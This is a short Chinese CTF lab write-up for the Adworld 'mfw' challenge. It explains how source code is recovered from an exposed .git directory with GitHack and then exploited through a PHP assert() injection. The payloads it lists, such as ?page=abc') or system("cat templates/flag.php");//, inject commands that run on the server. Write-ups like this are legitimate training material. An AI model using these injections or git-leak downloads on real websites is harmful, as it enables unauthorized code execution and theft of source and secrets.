.git源码泄露&assert使用(mfw 攻防世界)
2022_11_17
知识点
.git源码泄露
assert的使用
大概的解题步骤
1.点到About发现运用git
2.想到.git源码泄露,访问/.git,看是否泄露
3.用工具githack下载源码
命令:python GitHack.py http://61.147.171.105:56883/.git/
4.查找源码中有用信息
flag.php文件中flag为空,其他文件也没有价值,除了index.php
发现有个assert函数
assert()函数其实是一个断言函数。
assert:
这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
assert ( mixed $assertion [, string $description ] ) : bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到则返回flase,
5.payload
?page=abc') or system("cat templates/flag.php");//
因为在strpos中只传入了abc,所以其肯定返回false,在利用or让其执行system函数,再用" // "将后面的语句注释掉
或/?page=').system('cat+./templates/flag.php');//
查看源码得到flag
重点
-
.git文件泄露:当在一个空目录执行 git init 时,Git 会创建一个 .git 目录。 这个目录包含所有的 Git 存储和操作的对象。 如果想备份或复制一个版本库,只需把这个目录拷贝至另一处就可以了
-
assert断言的使用:还不太明白
assert: 这个函数在php语言中是用来判断一个表达式是否成立。返回true or false; assert ( mixed $assertion [, string $description ] ) : bool 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
参考资料:
源码泄露:
https://lddp.github.io/2018/05/10/WEB-源码泄漏/
工具:
https://github.com/lijiejie/GitHack
php assert:
你所不知的 PHP 断言(assert) - Jioby - 博客园